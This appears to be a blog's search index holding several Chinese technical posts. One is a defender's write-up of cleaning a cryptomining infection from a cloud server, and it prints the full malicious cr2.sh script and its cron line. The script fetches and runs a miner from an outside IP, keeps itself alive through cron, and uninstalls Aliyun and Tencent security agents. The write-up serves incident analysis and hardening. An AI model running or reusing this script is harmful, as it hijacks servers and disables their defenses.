-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathsearch.xml
805 lines (752 loc) · 84 KB
/
search.xml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
<?xml version="1.0" encoding="utf-8"?>
<search>
<entry>
<title>Hitokoto</title>
<url>/2021/04/27/hitokoto/</url>
<content><![CDATA[<div class='htkt'><p align='left'><i class="fa fa-quote-left"></i></p>
<dd align='center' id="hitokoto">:D Getting Hitokoto </dd>
<dt align='right'> ------ From 「<t id="From">Johnny Boy</t>」 <t id="creator"></t></dt>
<script>
fetch('https://v1.hitokoto.cn')
.then(response => response.json())
.then(data => {
const hitokoto = document.getElementById('hitokoto')
const from = document.getElementById('From')
const creator = document.getElementById('creator')
hitokoto.href = 'https://hitokoto.cn/?uuid=' + data.uuid
hitokoto.innerText = data.hitokoto
from.innerText = data.from
if(data.from_who != null) {
creator.innerText = "By "+ data.from_who
}
})
.catch(console.error)
</script>
<p align='right'><i class="fa fa-quote-right"></i><p></div>
<p>刷新会给你不一样的“一言”,接口支持:<a href="https://hitokoto.cn/">Hitokoto</a>。</p>
]]></content>
<categories>
<category>碎碎念</category>
<category>一言</category>
</categories>
<tags>
<tag>一言</tag>
</tags>
</entry>
<entry>
<title>0x0B - 记录一次服务器化身挖矿肉鸡的恢复经历</title>
<url>/2022/01/17/0x0B-anti-digging/</url>
<content><![CDATA[<h1 id="写在前面"><a href="#写在前面" class="headerlink" title="写在前面"></a>写在前面</h1><p>币圈火热不是没有原因,但是利益熏心劫持人家的服务可就不是什么快活事了。</p>
<p>尤其是作为运维,开发,测试,看到自家的服务器被黑,脸能拉下来十几条黑线,赶在老板发现之前,搞定吧。</p>
<h1 id="0x01-发现"><a href="#0x01-发现" class="headerlink" title="0x01 发现"></a>0x01 发现</h1><p>起因来源于 Aliyun 官方的一封邮件,上书:</p>
<figure class="highlight markdown"><table><tr><td class="code"><pre><span class="line">【阿里云】尊敬的 AAB CCD:</span><br><span class="line">经检测您的阿里云服务器 i-1234abcd5678efg 存在挖矿活动。按国家发改委关于整治挖矿活动相关通知,</span><br><span class="line">请您于 20XX-YY-DD HH 时前完成挖矿问题整改,否则您的服务器将被关停,详情请查看邮件或阿里云站内消息通知。</span><br><span class="line">若您有其他问题,可登陆阿里云官网在线咨询。</span><br></pre></td></tr></table></figure>
<p>事实上,早在三个月以前,这台服务器的负载就高的吓人。仅仅作为公司的官网服务器使用,平时的 CPU 负载却几乎跑满,硬盘空间也被开发殆尽,尽管我已经提交报告希望能够尽快查看,可是后端开发和运维大家都没有在意这件事,搁置了许久。</p>
<p>结果东窗事发,当邮件发来时,我们才知道这么一回事,而原因排查工作就落到了我头上。</p>
<h1 id="0x02-杀毒"><a href="#0x02-杀毒" class="headerlink" title="0x02 杀毒"></a>0x02 杀毒</h1><p>既然是自家的服务器,在没有内鬼胆大到用公司服务器挖矿的前提下,那么只可能是外部的入侵了。</p>
<p>处于满负荷运行状态的服务器自然不是那么好掌控的,于是在排查之前,我决定先将它简单隔离,并重新启动。</p>
<figure class="highlight markdown"><table><tr><td class="code"><pre><span class="line">Step 1. 在 Aliyun 上将该服务器的安全组设置为,入方向仅开放 SSH 22 端口</span><br><span class="line">Step 2. 重新启动该服务器</span><br></pre></td></tr></table></figure>
<p>顽固的负载在一瞬间被清空,但在几分钟后再次跑满。</p>
<p>那么是何方神圣如此执着要在这台机器上挖矿呢?</p>
<figure class="highlight sh"><table><tr><td class="code"><pre><span class="line">$ top <span class="comment"># 查看综合占用资源的统计,会将占用多的排在前面</span></span><br></pre></td></tr></table></figure>
<p>出现在最上面的是一个名为 <code>phpupdate.out</code> 的进程,占用约 10 个进程,把 CPU 的资源都给吃光了。</p>
<p>既然有了目标就好说多了,不过先别急着 kill,再想想。<br>这个进程在重启后依然存在,很有可能是有一个定时任务在为它不断生成子进程。<br>如果不把这个解决了,这个奇怪的文件还会源源不断冒出来。</p>
<figure class="highlight sh"><table><tr><td class="code"><pre><span class="line">$ crontab -l</span><br><span class="line">$ * * * * * wget -q -O - http://103.78.40.23:8000/userfile/default/userlogo/cr2.sh | sh > /dev/null 2>&1</span><br></pre></td></tr></table></figure>
<p>果不其然,出现在下面的是一个奇怪的地址和另一个奇怪的文件 <code>cr2.sh</code>。</p>
<p>我们直接把 <code>cr2.sh</code> 作为纯文本下载下来,分析下它到底做了什么。<br>以下是 <code>cr2.sh</code> 的源码:</p>
<figure class="highlight sh"><table><tr><td class="code"><pre><span class="line"><span class="meta">#!/bin/sh</span></span><br><span class="line"><span class="comment"># 首先杀掉同行们,保证只有自己有肉吃</span></span><br><span class="line">pkill -f cryptonight</span><br><span class="line">pkill -f sustes</span><br><span class="line">pkill -f xmrig</span><br><span class="line">pkill -f xmr-stak</span><br><span class="line">pkill -f suppoie</span><br><span class="line">pkill -f zer0day.ru</span><br><span class="line"></span><br><span class="line">CRTDIR=$(<span class="built_in">pwd</span>)</span><br><span class="line">WGET=<span class="string">"wget -O"</span></span><br><span class="line"><span class="keyword">if</span> [ -s /usr/bin/curl ];</span><br><span class="line"> <span class="keyword">then</span> WGET=<span class="string">"curl -o"</span>;</span><br><span class="line"><span class="keyword">fi</span>;</span><br><span class="line"><span class="keyword">if</span> [ -s /usr/bin/wget ];</span><br><span class="line"> <span class="keyword">then</span> WGET=<span class="string">"wget -O"</span>;</span><br><span class="line"><span class="keyword">fi</span></span><br><span class="line"><span class="comment"># 抓取指定地址的脚本和设置</span></span><br><span class="line"><span class="keyword">if</span> [ ! <span class="string">"<span class="subst">$(ps -fe|grep '$CRTDIR/phpupdate.out -c $CRTDIR/config.json' |grep -v grep)</span>"</span> ]; <span class="keyword">then</span></span><br><span class="line"> f1=$(curl 103.78.40.23:8000/userfile/default/userlogo)</span><br><span class="line"> <span class="keyword">if</span> [ -z <span class="string">"<span class="variable">$f1</span>"</span> ];</span><br><span class="line"> <span class="keyword">then</span> f1=$(wget -q -O - 103.78.40.23:8000/userfile/default/userlogo)</span><br><span class="line"> <span class="keyword">fi</span></span><br><span class="line"></span><br><span class="line"> f2=<span class="string">"103.78.40.23:8000/userfile/default/userlogo"</span></span><br><span class="line"> <span class="keyword">if</span> [ `getconf LONG_BIT` = <span class="string">"64"</span> ]</span><br><span class="line"> <span class="keyword">then</span></span><br><span class="line"> <span class="variable">$WGET</span> <span class="variable">$CRTDIR</span>/phpupdate.out http://<span class="variable">$f2</span>/phpupdate</span><br><span class="line"> <span class="keyword">else</span></span><br><span class="line"> <span class="variable">$WGET</span> <span class="variable">$CRTDIR</span>/phpupdate.out http://<span class="variable">$f2</span>/phpupdate</span><br><span class="line"> <span class="keyword">fi</span></span><br><span class="line"></span><br><span class="line"> <span class="comment"># 提升权限</span></span><br><span class="line"> chmod +x <span class="variable">$CRTDIR</span>/phpupdate.out</span><br><span class="line"> chmod 777 <span class="variable">$CRTDIR</span>/phpupdate.out</span><br><span class="line"> <span class="variable">$WGET</span> <span class="variable">$CRTDIR</span>/config.json http://<span class="variable">$f2</span>/config.json</span><br><span class="line"> sleep 5</span><br><span class="line"> nohup <span class="variable">$CRTDIR</span>/phpupdate.out -c <span class="variable">$CRTDIR</span>/config.json >/dev/null 2>&1 &</span><br><span class="line"> sleep 5</span><br><span class="line"> rm -rf <span class="variable">$CRTDIR</span>/config.json</span><br><span class="line"> rm -f <span class="variable">$CRTDIR</span>/phpupdate</span><br><span class="line"></span><br><span class="line"><span class="keyword">fi</span></span><br><span class="line">pkill -f logo9.jpg</span><br><span class="line">crontab -l | sed <span class="string">'/logo9/d'</span> | crontab -</span><br><span class="line"></span><br><span class="line"><span class="comment"># 检查 crontab 是否有这个关键词</span></span><br><span class="line"><span class="keyword">if</span> crontab -l | grep -q <span class="string">"103.78.40.23:8000"</span></span><br><span class="line"><span class="keyword">then</span></span><br><span class="line"> <span class="built_in">echo</span> <span class="string">"Cron exists"</span></span><br><span class="line"><span class="keyword">else</span></span><br><span class="line"> <span class="built_in">echo</span> <span class="string">"Cron not found"</span></span><br><span class="line"> LDR=<span class="string">"wget -q -O -"</span></span><br><span class="line"> <span class="keyword">if</span> [ -s /usr/bin/curl ];</span><br><span class="line"> <span class="keyword">then</span></span><br><span class="line"> LDR=<span class="string">"curl"</span>;</span><br><span class="line"> <span class="keyword">fi</span></span><br><span class="line"> <span class="keyword">if</span> [ -s /usr/bin/wget ];</span><br><span class="line"> <span class="keyword">then</span></span><br><span class="line"> LDR=<span class="string">"wget -q -O -"</span>;</span><br><span class="line"> <span class="keyword">fi</span></span><br><span class="line"> <span class="comment"># 如果没有就写进去这个命令</span></span><br><span class="line"> (crontab -l 2>/dev/null; <span class="built_in">echo</span> <span class="string">"* * * * * <span class="variable">$LDR</span> http://103.78.40.23:8000/userfile/default/userlogo/cr2.sh | sh > /dev/null 2>&1"</span>)| crontab -</span><br><span class="line"><span class="keyword">fi</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> ps aux | grep -i <span class="string">'[a]liyun'</span>; <span class="keyword">then</span></span><br><span class="line"> LDR=<span class="string">"wget -q -O -"</span></span><br><span class="line"> <span class="keyword">if</span> [ -s /usr/bin/curl ];</span><br><span class="line"> <span class="keyword">then</span></span><br><span class="line"> LDR=<span class="string">"curl"</span>;</span><br><span class="line"> <span class="keyword">fi</span></span><br><span class="line"> <span class="keyword">if</span> [ -s /usr/bin/wget ];</span><br><span class="line"> <span class="keyword">then</span></span><br><span class="line"> LDR=<span class="string">"wget -q -O -"</span>;</span><br><span class="line"> <span class="keyword">fi</span></span><br><span class="line"> <span class="comment"># 杀掉并删除 aliyun 的防护程序</span></span><br><span class="line"> <span class="variable">$LDR</span> http://update.aegis.aliyun.com/download/uninstall.sh | bash</span><br><span class="line"> <span class="variable">$LDR</span> http://update.aegis.aliyun.com/download/quartz_uninstall.sh | bash</span><br><span class="line"> <span class="variable">$LDR</span> http://update.aegis.aliyun.com/download/uninstall.sh | bash</span><br><span class="line"> <span class="variable">$LDR</span> http://update.aegis.aliyun.com/download/quartz_uninstall.sh | bash</span><br><span class="line"> pkill aliyun-service</span><br><span class="line"> rm -rf /etc/init.d/agentwatch /usr/sbin/aliyun-service</span><br><span class="line"> rm -rf /usr/<span class="built_in">local</span>/aegis*</span><br><span class="line"> systemctl stop aliyun.service</span><br><span class="line"> systemctl <span class="built_in">disable</span> aliyun.service</span><br><span class="line"> service bcm-agent stop</span><br><span class="line"> yum remove bcm-agent -y</span><br><span class="line"> apt-get remove bcm-agent -y</span><br><span class="line"><span class="keyword">elif</span> ps aux | grep -i <span class="string">'[y]unjing'</span>; <span class="keyword">then</span></span><br><span class="line"> <span class="comment"># 腾讯云</span></span><br><span class="line"> /usr/<span class="built_in">local</span>/qcloud/stargate/admin/uninstall.sh</span><br><span class="line"> /usr/<span class="built_in">local</span>/qcloud/YunJing/uninst.sh</span><br><span class="line"> /usr/<span class="built_in">local</span>/qcloud/monitor/barad/admin/uninstall.sh</span><br><span class="line"><span class="keyword">fi</span></span><br></pre></td></tr></table></figure>
<p>这位黑客真是用心良苦,于是根据特征来判断,只要我们保证 <code>crontab</code> 上有它提及的关键字段,那么也就不会再往上写东西了。</p>
<p>于是我这么改:</p>
<figure class="highlight sh"><table><tr><td class="code"><pre><span class="line">$ crontab -e</span><br><span class="line">$ 1 * * * * <span class="built_in">echo</span> <span class="string">"103.78.40.23:8000"</span></span><br></pre></td></tr></table></figure>
<p>这样它能扫描到这个字段,就不会反复更新 <code>crontab</code> 了。</p>
<p>一切准备就绪,我们开杀。</p>
<figure class="highlight sh"><table><tr><td class="code"><pre><span class="line">$ ps -ef | grep phpupdate.out</span><br><span class="line">$ ps -ef | grep cr2.sh</span><br><span class="line"><span class="comment"># 将上面两个命令抓到的进程,全部使用 kill 或者 pkill 杀掉</span></span><br></pre></td></tr></table></figure>
<p>杀掉还没完,让我们找到他们:</p>
<figure class="highlight sh"><table><tr><td class="code"><pre><span class="line">$ find / -name *phpupdate*</span><br><span class="line">$ find / -name *cr2*</span><br><span class="line"><span class="comment"># 过程需要点时间,使用 rm -rf 删掉出现的可疑文件和文件夹</span></span><br></pre></td></tr></table></figure>
<p>最后使用 <code>crontab -e</code> 把 <code>crontab</code> 更新一下,恢复到最初的空白。<br>至此,重启过后,服务器恢复正常。</p>
<h1 id="0x03-结末"><a href="#0x03-结末" class="headerlink" title="0x03 结末"></a>0x03 结末</h1><p>需要思考,找寻下服务器被攻破的原因。<br>本来,这台服务器就是用于测试的服务器,上面承载了太多测试阶段就存在的开放接口,安全组漏洞百出,几乎是以全暴露的状况下在跑各种应用。</p>
<figure class="highlight sh"><table><tr><td class="code"><pre><span class="line">$ netstat -anp</span><br><span class="line"><span class="comment"># 看看都有什么接口暴露在外</span></span><br></pre></td></tr></table></figure>
<p>防火墙和安全组的设置我们日常使用时并不上心,但如此这般是很容易被黑客攻入的。<br>因此,在保证正常使用的情况下,不必要的端口仍然需要关闭。</p>
]]></content>
<categories>
<category>技术</category>
<category>其它</category>
</categories>
<tags>
<tag>linux</tag>
</tags>
</entry>
<entry>
<title>0x0A - Git Everything!在自己的服务器上搭建 Git 还有 pages 服务</title>
<url>/2021/06/11/0x0A-git-everything/</url>
<content><![CDATA[<h1 id="从原因开始"><a href="#从原因开始" class="headerlink" title="从原因开始"></a>从原因开始</h1><p>使用别人搭建好的 Pages 服务当然可以很轻松的做到静态页面建站。<br>但是不管是从自由性来说还是后续扩展性上来说,都不如自己建站来的安心放心。</p>
<p>Github pages 受限于网络,假如是从国内读取的话,很有可能没法流畅加载 (CDN 也并不流畅)<br>而近期 Gitee Pages 也因为网络整治,没有办法提供正常的服务。</p>
<p>那怎么办呢?一切不如自己动手丰衣足食!<br>从零开始,搭建我们自己的 Pages 服务。</p>
<p>为其赋名:<code>Shigure Pages</code></p>
<h1 id="Shigure-Pages"><a href="#Shigure-Pages" class="headerlink" title="Shigure Pages"></a>Shigure Pages</h1><p>那么 Pages 服务大致分为两大块:</p>
<ol>
<li>Git 服务,或者说,需要一个仓库以供网页上传。</li>
<li>nginx 服务,用以搭建简单的 web 服务。</li>
</ol>
<p>我们需要通过 Git 仓库的管理功能,利用 hooks 脚本更新 nginx 指向的文件。</p>
<h2 id="Git-服务"><a href="#Git-服务" class="headerlink" title="Git 服务"></a>Git 服务</h2><p>和 Github pages 、 Gitee Pages 一样,我们需要有一个云上的仓库来存放我们导出的静态页面。</p>
<h3 id="搭建-git-服务"><a href="#搭建-git-服务" class="headerlink" title="搭建 git 服务"></a>搭建 git 服务</h3><p>搭建 git 服务相对简单:<br>首先我们增加一个 git 的用户组,还有一个名叫 git 的用户:</p>
<figure class="highlight shell"><table><tr><td class="code"><pre><span class="line"><span class="meta">$</span><span class="bash"> groupadd git</span></span><br><span class="line"><span class="meta">$</span><span class="bash"> useradd -d /home/git -m git -s /bin/bash -g git <span class="comment"># 添加一个git用户,用户文件夹为/home/git,默认bash为/bin/bash,组为git</span></span></span><br></pre></td></tr></table></figure>
<p>接着我们切换到 git 用户,并且在 <code>/home/git</code> 文件夹下新建这么几个文件和文件夹:</p>
<figure class="highlight shell"><table><tr><td class="code"><pre><span class="line"><span class="meta">$</span><span class="bash"> su git</span></span><br><span class="line"><span class="meta">$</span><span class="bash"> <span class="built_in">cd</span> /home/git</span></span><br><span class="line"><span class="meta">$</span><span class="bash"> mkdir .ssh gitrepo</span></span><br><span class="line"><span class="meta">$</span><span class="bash"> touch .ssh/authorized_keys</span></span><br></pre></td></tr></table></figure>
<p>请在 <code>.ssh/authorized_keys</code> 配置 git 的 SSH key,不明白如何配置 SSH key 的请往下面看。<br>之后,我们继续操作,添加一个 git 仓库:</p>
<figure class="highlight shell"><table><tr><td class="code"><pre><span class="line"><span class="meta">$</span><span class="bash"> <span class="built_in">cd</span> gitrepo</span></span><br><span class="line"><span class="meta">$</span><span class="bash"> git init --bare sample.git</span></span><br></pre></td></tr></table></figure>
<p>这个仓库就是我们想要的仓库了,而仓库的地址为 <code>[email protected]:~/gitrepo/sample.git</code>。<br>接着只需要按部就班,按照 git 的方式推送即可。</p>
<p>其实这就是一个简易的 git 平台了,后续只要像这样推送更新,就可以维护好一个不错的自定义 git 平台。</p>
<h3 id="创建-SSH-key-密钥对"><a href="#创建-SSH-key-密钥对" class="headerlink" title="创建 SSH key 密钥对"></a>创建 SSH key 密钥对</h3><p>首先找到你希望连接的终端,例如你希望用你的某台 Windows 10 系统电脑往这个仓库推送代码。<br>那么我们直接打开终端(Powershell,CMD 均可)</p>
<p>直接运行下面的命令,保持默认即可</p>
<figure class="highlight shell"><table><tr><td class="code"><pre><span class="line"><span class="meta">$</span><span class="bash"> ssh-keygen</span></span><br></pre></td></tr></table></figure>
<p>你可以在 <code>C:\Users\Your_Name\.ssh</code> 里找到两个文件:<code>id_rsa</code>,<code>id_rsa.pub</code>,</p>
<p>右键用记事本打开 <code>id_rsa.pub</code>,并把里面的内容加在服务器 <code>/home/git/.ssh/authorized_keys</code> 中。<br>这样,你就可以用上面的地址 push git 仓库了。</p>
<h2 id="Nginx-服务"><a href="#Nginx-服务" class="headerlink" title="Nginx 服务"></a>Nginx 服务</h2><p>Nginx 是一个轻便的 web 服务框架,安装和使用都非常方便。</p>
<figure class="highlight shell"><table><tr><td class="code"><pre><span class="line"><span class="meta">$</span><span class="bash"> sudo apt-get update</span></span><br><span class="line"><span class="meta">$</span><span class="bash"> sudo apt-get upgrade <span class="comment"># 升级以及更新,不需要的话可以略过这两步</span></span></span><br><span class="line"><span class="meta">$</span><span class="bash"> sudo apt-get install nginx</span></span><br><span class="line"><span class="meta">$</span><span class="bash"> <span class="built_in">cd</span> /etc/nginx</span></span><br><span class="line"><span class="meta">$</span><span class="bash"> cp nginx.conf nginx.conf.bak <span class="comment"># 这是 nginx 的配置文件,备份以防万一</span></span></span><br><span class="line"><span class="meta">$</span><span class="bash"> vi nginx.conf <span class="comment"># 新建一个 conf 文件</span></span></span><br></pre></td></tr></table></figure>
<p>然后把配置文件写成以下这个样子:</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 删除所有内容,将以下内容写入nginx.conf</span></span><br><span class="line"><span class="comment"># user username;</span></span><br><span class="line">worker_processes auto;</span><br><span class="line"></span><br><span class="line"><span class="comment"># error_log logs/error.log;</span></span><br><span class="line"><span class="comment"># error_log logs/error.log notice;</span></span><br><span class="line"><span class="comment"># error_log logs/error.log info;</span></span><br><span class="line"></span><br><span class="line">pid /run/nginx.pid;</span><br><span class="line"></span><br><span class="line">include /etc/nginx/modules-enabled/*.conf;</span><br><span class="line"></span><br><span class="line">events {</span><br><span class="line"> worker_connections <span class="number">1024</span>;</span><br><span class="line"> <span class="comment"># multi_accept on;</span></span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">http {</span><br><span class="line"> include mime.types;</span><br><span class="line"> default_type application/octet-stream;</span><br><span class="line"> </span><br><span class="line"> <span class="comment"># log_format main '$remote_addr - $remote_user [$time_local] "$request" '</span></span><br><span class="line"> <span class="comment"># '$status $body_bytes_sent "$http_referer" '</span></span><br><span class="line"> <span class="comment"># '"$http_user_agent" "$http_x_forwarded_for"';</span></span><br><span class="line"> <span class="comment"># access_log logs/access.log main;</span></span><br><span class="line"> sendfile on;</span><br><span class="line"> <span class="comment"># tcp_nopush on;</span></span><br><span class="line"> keepalive_timeout <span class="number">65</span>;</span><br><span class="line"></span><br><span class="line"> server {</span><br><span class="line"> listen <span class="number">80</span>;</span><br><span class="line"> location / {</span><br><span class="line"> <span class="keyword">if</span> (!-e $request_filename) {</span><br><span class="line"> rewrite ^(.*)$ /$<span class="number">1.</span>html last;</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> }</span><br><span class="line"> root /home/git/blog-site/www; </span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"><span class="comment"># /home/git/blog-site/www目录将是网站的根目录</span></span><br></pre></td></tr></table></figure>
<p>然后我们新建一个用来存放网页的文件夹并赋予权限:</p>
<figure class="highlight shell"><table><tr><td class="code"><pre><span class="line"><span class="meta">$</span><span class="bash"> mkdir -p /home/git/blog-site/www</span></span><br><span class="line"><span class="meta">$</span><span class="bash"> chown git:git /home/git/blog-site/www</span></span><br></pre></td></tr></table></figure>
<p>为了让 nginx 可以读取到文件,我们把下面这个用户添加进 git 用户组并赋予权限:</p>
<figure class="highlight shell"><table><tr><td class="code"><pre><span class="line"><span class="meta">$</span><span class="bash"> usermod -a -G git www</span></span><br><span class="line"><span class="meta">$</span><span class="bash"> chmod 755 /home/git/blog-site/www</span></span><br></pre></td></tr></table></figure>
<p>最后,刷新一下配置:</p>
<figure class="highlight shell"><table><tr><td class="code"><pre><span class="line"><span class="meta">$</span><span class="bash"> nginx -s reload</span></span><br></pre></td></tr></table></figure>
<p>至此 nginx 搭建完毕。</p>
<p>注:此部分教程参考自 <a href="https://blog.csdn.net/qq_34347375/article/details/105184040">这个链接</a>,部分内容修改,请酌情查看。</p>
<h2 id="Git-Hooks"><a href="#Git-Hooks" class="headerlink" title="Git Hooks"></a>Git Hooks</h2><p>为了要让 Git 仓库更新时触发 pages 的更新,我们需要更改一下 Git Hooks 脚本的配置。</p>
<figure class="highlight shell"><table><tr><td class="code"><pre><span class="line"><span class="meta">$</span><span class="bash"> su git</span></span><br><span class="line"><span class="meta">$</span><span class="bash"> <span class="built_in">cd</span> ~/gitrepo/sample.git/hooks</span></span><br><span class="line"><span class="meta">$</span><span class="bash"> tree .</span></span><br><span class="line">.</span><br><span class="line">├── applypatch-msg.sample</span><br><span class="line">├── commit-msg.sample</span><br><span class="line">├── fsmonitor-watchman.sample</span><br><span class="line">├── post-update.sample</span><br><span class="line">├── pre-applypatch.sample</span><br><span class="line">├── pre-commit.sample</span><br><span class="line">├── pre-merge-commit.sample</span><br><span class="line">├── prepare-commit-msg.sample</span><br><span class="line">├── pre-push.sample</span><br><span class="line">├── pre-rebase.sample</span><br><span class="line">├── pre-receive.sample</span><br><span class="line">└── update.sample</span><br></pre></td></tr></table></figure>
<p>可以看到这下面有很多可执行的脚本。<br>那么其实 Git Hooks 的功能十分丰富,具体的话可以看 <a href="https://git-scm.com/book/en/v2/Customizing-Git-Git-Hooks">这里</a> 来了解更多的 hooks 原理。</p>
<p>我们需要用到的是 <code>post-receive</code> hook:</p>
<figure class="highlight shell"><table><tr><td class="code"><pre><span class="line"><span class="meta">$</span><span class="bash"> vi post-receive</span></span><br></pre></td></tr></table></figure>
<p>把下面的内容添加到文件中,<br>注意,每个人的配置不同需求不同,请根据自己的需求进行修改。<br>我这边使用 <code>Hexo</code> 建站,目录结构比较单一</p>
<figure class="highlight sh"><table><tr><td class="code"><pre><span class="line"><span class="meta">#!/bin/bash</span></span><br><span class="line">GIT_REPO=/home/git/gitrepo/sample.git <span class="comment"># 指定仓库路径</span></span><br><span class="line">PUBLIC_WWW=/home/git/blog-site/www <span class="comment"># 指定网页路径</span></span><br><span class="line">rm -rf <span class="variable">$PUBLIC_WWW</span> <span class="comment"># 删除先前的网页</span></span><br><span class="line">git <span class="built_in">clone</span> <span class="variable">$GIT_REPO</span> <span class="variable">$PUBLIC_WWW</span> <span class="comment"># 复制更新后的页面</span></span><br><span class="line"><span class="built_in">exit</span></span><br></pre></td></tr></table></figure>
<p>至此,一切就绪。</p>
]]></content>
<categories>
<category>技术</category>
<category>其它</category>
</categories>
<tags>
<tag>git</tag>
<tag>nginx</tag>
</tags>
</entry>
<entry>
<title>0x09 - 语义化版本</title>
<url>/2021/06/10/0x09-Version/</url>
<content><![CDATA[<h1 id="语义化版本是个什么鬼玩意"><a href="#语义化版本是个什么鬼玩意" class="headerlink" title="语义化版本是个什么鬼玩意"></a>语义化版本是个什么鬼玩意</h1><p><a href="https://semver.org/lang/zh-CN/">直接贴上文档</a>,请参照文档来理解这份说明</p>
<p>简单来说,就是通过版本定义的名称来传达版本更新信息,常见的语义化版本像这样:</p>
<figure class="highlight plain"><table><tr><td class="code"><pre><span class="line">Version 2.0.1</span><br><span class="line">Version 1.19.2 - Alpha.9</span><br><span class="line">Version 1.0.0</span><br><span class="line">Version 1.0.0 - rc.0</span><br><span class="line">...</span><br></pre></td></tr></table></figure>
<p>我们用 <code>x.y.z</code> 来代表这三个数。</p>
<p>从右往左,z 表示的是版本的修订号,只有程序在做了向下兼容的 <strong>修正</strong> 时才递增,例如修改一些 bug 或是对结果进行一定程度的改善。</p>
<p>第二个数字,y 表示的是次版本号,在出现新功能或者弃用公共 API,又或者是在有大量修订或者新代码加入时递增,例如新添加了一个功能性的接口或是实现了一项简单的功能。当次版本号递增时,修订号必须归零。同样的,次版本号更迭必须 <strong>保证向下的兼容</strong> 。</p>
<p>第三个数字,x 表示的是主版本号,只有当出现 <strong>不可兼容的修改被加入公共 API 时</strong> 才会交替更新,例如涉及底层的修改,或者某个部分代码的重构,也可以包括次版本号及修订级别的改变。当 x 递增时,y,z 也必须归零。</p>
]]></content>
<categories>
<category>技术</category>
<category>其它</category>
</categories>
<tags>
<tag>语义化版本</tag>
</tags>
</entry>
<entry>
<title>0x08 - Docker小鲸鱼的使用笔记 [2] 自动化的第一步 with Jenkins</title>
<url>/2021/05/30/0x08-Docker-Usage-Jenkins/</url>
<content><![CDATA[<p><img src="/images/Jenkins.png" alt="Jenkins"></p>
<h1 id="自动化难题"><a href="#自动化难题" class="headerlink" title="自动化难题"></a>自动化难题</h1><p>当你完成了代码的提交,<br>当你重新又反复地进行着,搭建镜像,上传镜像,运行容器的操作,<br>你是否发觉这一切重复的劳作让人有点疲惫。</p>
<p>如果说,能够在完成了代码开发工作后,将代码 push 到云上的托管仓库时,<br>就可以自动进入流程,让计算机托管完成上述的一切任务,那开发工作也会变得惬意而轻松。</p>
<p>诚然,我们可以写一个简单的 shell 脚本:</p>
<figure class="highlight shell"><table><tr><td class="code"><pre><span class="line"><span class="meta">$</span><span class="bash"> docker build -t myApps:v1.0 .</span></span><br><span class="line"><span class="meta">$</span><span class="bash"> docker login --username=yourname your.registry.address.com</span></span><br><span class="line"><span class="meta">$</span><span class="bash"> docker tag myApps:v1.0 your.registry.address.com/myApps:v1.0</span></span><br><span class="line"><span class="meta">$</span><span class="bash"> docker push your.registry.address.com/myApps:v1.0</span></span><br><span class="line"><span class="meta">$</span><span class="bash"> docker rmi your.registry.address.com/myApps:v1.0</span></span><br></pre></td></tr></table></figure>
<p>它就可以半自动地将代码打包成镜像并装入线上的镜像仓库。<br>可是这样的方法让代码管理成为了一个头疼的问题。</p>
